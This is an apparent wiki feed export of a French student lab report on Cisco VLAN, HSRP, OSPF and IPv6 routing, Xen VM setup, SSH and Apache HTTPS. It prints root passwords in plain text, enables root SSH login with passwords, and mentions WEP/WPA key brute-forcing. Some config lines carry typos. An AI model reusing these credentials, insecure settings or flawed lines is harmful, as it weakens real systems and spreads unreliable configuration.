Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://wiki-ima.plil.fr/mediawiki//index.php/Accueil&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/raid_logiciel&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51614</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51614"/>
				<updated>2019-12-07T13:58:11Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Stockage Raid5 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/disk.img,xvda2,w',&lt;br /&gt;
  'file:/usr/local/xen/domains/ima2a5-zerofun/swap.img,xvda1,w',&lt;br /&gt;
  ]&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Physical volumes&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'ima2a5-zerofun'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:92:4D:4E, bridge=IMA2a5' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
'''Lancement de la VM'''&lt;br /&gt;
 xl console ima2a5-zerofun&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Récupération du mot de passe'''&lt;br /&gt;
 cat /var/log/xen-tools/ima2a5-zerofun.log | grep Password&lt;br /&gt;
 &amp;gt;&amp;gt;Root Password   :  a7a5eajZ5uCpXrZXWQ9esTT&lt;br /&gt;
&lt;br /&gt;
On peut ensuite modifier le mot de passe avec ''passwd''    -&amp;gt; ''glopglop''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Configuration de la machine virtuelle pour que var et home soient des partitions de l'hôte'''&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-home virtual&lt;br /&gt;
    lvcreate -L10G -n ima2a5-zerofun-var virtual&lt;br /&gt;
&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-home&lt;br /&gt;
    mke2fs /dev/virtual/ima2a5-zerofun-var&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de config'''&lt;br /&gt;
&lt;br /&gt;
    disk    	= [&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/disk.img,xvda2,w',&lt;br /&gt;
                  	'file:/usr/local/xen/domains/ima2a5-rex4ever/swap.img,xvda1,w',               &lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-home,xvdb1,w',&lt;br /&gt;
                       'phy:/dev/virtual/ima2a5-zerofun-var,xvdb2,w',&lt;br /&gt;
                 ]&lt;br /&gt;
&lt;br /&gt;
===Autorisation de l'accès à notre machine virtuelle via le protocole SSH===&lt;br /&gt;
&lt;br /&gt;
On regarde si le package openssh-server est installé&lt;br /&gt;
 ssh -V&lt;br /&gt;
 &lt;br /&gt;
S'il ne l'est pas, alors on l'installe :  &lt;br /&gt;
 root@ima2a5-zerofun:~# apt install openssh-server&lt;br /&gt;
 root@ima2a5-zerofun:~# ssh -V&lt;br /&gt;
 OpenSSH_7.4p1 Debian-10+deb9u7, OpenSSL 1.0.2s  28 May 2019&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut modifier le fichier de configuration du serveur SSH pour autoriser ou non certains types d'accès : &lt;br /&gt;
 nano /etc/ssh/sshd_config&lt;br /&gt;
 PermitRootLogin yes // Permet l'accès direct en root&lt;br /&gt;
 PubkeyAuthentication yes // Permet de s'identifier via une clé publique&lt;br /&gt;
 PasswordAuthentication yes // Permet de s'identifier via un identifiant et un mot de passe&lt;br /&gt;
 X11Forwarding yes  //Permet de faire un déport d'affichage si on utilise une application avec interface graphique par exemple&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré le fichier de config, il faut redémarrer le service afin de prendre en compte les nouveaux paramètres:&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh restart&lt;br /&gt;
 [ ok ] Restarting OpenBSD Secure Shell server: sshd.&lt;br /&gt;
&lt;br /&gt;
Pour être sûr que le SSH est fonctionnel on teste l'état du service :&lt;br /&gt;
 root@ima2a5-zerofun:~# service ssh status&lt;br /&gt;
 [ ok ] sshd is running.&lt;br /&gt;
&lt;br /&gt;
On est bon, on peut maintenant se connecter à notre machine virtuelle autrement qu'en utilisant le xl console, ce qui permet notamment de se connecter à plusieurs simultanément. &lt;br /&gt;
&lt;br /&gt;
RAPPEL password : glopglop&lt;br /&gt;
&lt;br /&gt;
Depuis Cordouan : &lt;br /&gt;
 root@cordouan:~# ssh 193.48.57.161&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 The programs included with the Devuan GNU/Linux system are free software;&lt;br /&gt;
 the exact distribution terms for each program are described in the&lt;br /&gt;
 individual files in /usr/share/doc/*/copyright.&lt;br /&gt;
 Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent&lt;br /&gt;
 permitted by applicable law.&lt;br /&gt;
 Last login: Fri Dec  6 22:31:26 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
Depuis une Zabeth : &lt;br /&gt;
 pifou@zabeth30:~$ ssh root@193.48.57.161&lt;br /&gt;
 The authenticity of host '193.48.57.161 (193.48.57.161)' can't be established.&lt;br /&gt;
 ECDSA key fingerprint is SHA256:Fgo5SXYG5+Qyf3O8TwYJQv42SazTJU0Iidw26H6FUaE.&lt;br /&gt;
 Are you sure you want to continue connecting (yes/no)? y&lt;br /&gt;
 Please type 'yes' or 'no': yes&lt;br /&gt;
 Warning: Permanently added '193.48.57.161' (ECDSA) to the list of known hosts.&lt;br /&gt;
 root@193.48.57.161's password: &lt;br /&gt;
 Linux ima2a5-zerofun 4.9.0-6-amd64 x86_64 GNU/Linux&lt;br /&gt;
 Last login: Fri Dec  6 22:54:41 2019 from 172.26.64.12&lt;br /&gt;
 root@ima2a5-zerofun:~#&lt;br /&gt;
&lt;br /&gt;
== Site web ==&lt;br /&gt;
On souhaite réaliser un site web. Pour cela, il est nécessaire de configurer le serveur qui attendra les connexions et les demandes et enverra le contenu souhaité.  On utilisera le plus connu de tous, le serveur HTTP Apache2. &lt;br /&gt;
&lt;br /&gt;
===Installation et configuration du serveur Apache2===&lt;br /&gt;
&lt;br /&gt;
Installer Apache2 &lt;br /&gt;
 apt install apache2&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTP====&lt;br /&gt;
&lt;br /&gt;
Si on désire dans un premier temps simplement utiliser le protocole HTTP, on va créer un fichier .conf dans le répertoire /etc/apache2/sites-available &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# cat ima2a5-zerofun.site.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt; //Le port 80 est dédié au protocole HTTP&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       &amp;lt;Directory &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&amp;gt;&lt;br /&gt;
               Options +FollowSymLinks&lt;br /&gt;
               AllowOverride all&lt;br /&gt;
               Require all granted&lt;br /&gt;
       &amp;lt;/Directory&amp;gt;&lt;br /&gt;
       ErrorLog /var/log/apache2/error.ima2a5-zerofun.site.log&lt;br /&gt;
       CustomLog /var/log/apache2/access.ima2a5-zerofun.site.com.log combined&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Protocole HTTPS====&lt;br /&gt;
&lt;br /&gt;
Si maintenant, on souhaite &amp;lt;&amp;lt;sécuriser&amp;gt;&amp;gt; notre site web, on peut ajouter une couche de chiffrement SSL et utiliser donc le protocole HTTPS. On va alors modifier notre fichier .conf. On va également rediriger automatiquement les demandes envoyées à http://www.ima2a5-zerofun.site vers https://www.ima2a5-zerofun.site&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
       ServerName ima2a5-zerofun.site&lt;br /&gt;
       ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
       DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot;&lt;br /&gt;
       Redirect permanent / https://ima2a5-zerofun.site   //Permet de rediriger vers https://ima2a5-zerofun.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  //-----------------------------------------------------------------------------------------------------------------//&lt;br /&gt;
  &amp;lt;VirtualHost *:443&amp;gt; //port dédié au protocole HTTPS&lt;br /&gt;
        DocumentRoot &amp;quot;/var/www/ima2a5-zerofun&amp;quot; //permet de récupérer notre page HTML stockée dans /var/www/ima2a5-zerofun&lt;br /&gt;
        ServerName ima2a5-zerofun.site //Définit le nom d'hote que le serveur va utiliser pour s'identifier&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site //Permet de dire que ce nom aboutira également à notre site&lt;br /&gt;
        ServerAdmin fabien.cavalier@polytech-lille.net&lt;br /&gt;
                &amp;lt;Directory /var/www/ima2a5-zerofun&amp;gt;&lt;br /&gt;
                        Options -Indexes +FollowSymLinks +MultiViews&lt;br /&gt;
                        AllowOverride none&lt;br /&gt;
                        Require all granted&lt;br /&gt;
                &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        ErrorLog /var/log/apache2/error.ima2a5-zerofun.site-secu.log&lt;br /&gt;
        CustomLog /var/log/apache2/access.ima2a5-zerofun.site-secu.log combined&lt;br /&gt;
         # Activation du SSL&lt;br /&gt;
        SSLEngine On&lt;br /&gt;
        ServerAlias www.ima2a5-zerofun.site&lt;br /&gt;
        SSLProtocol All -SSLv3 -SSLv2&lt;br /&gt;
        SSLHonorCipherOrder on&lt;br /&gt;
   SSLCertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.crt&amp;quot;&lt;br /&gt;
   SSLCACertificateFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.pem&amp;quot;&lt;br /&gt;
   SSLCertificateKeyFile &amp;quot;/etc/apache2/certificate/ima2a5-zerofun.key&amp;quot;&lt;br /&gt;
   &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois notre .conf établi, on doit désactiver la configuration générée par défaut par Apache2 et activer notre configuration : &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2dissite 000-default.conf //Stopper la configuration par défaut&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2ensite ima2a5-zerofun.site //Lancer notre configuration&lt;br /&gt;
&lt;br /&gt;
On active le protocole SSL via &lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# a2enmode ssl&lt;br /&gt;
Puis on relance le serveur Apache2&lt;br /&gt;
 root@ima2a5-zerofun:/etc/apache2/sites-available# service apache2 restart&lt;br /&gt;
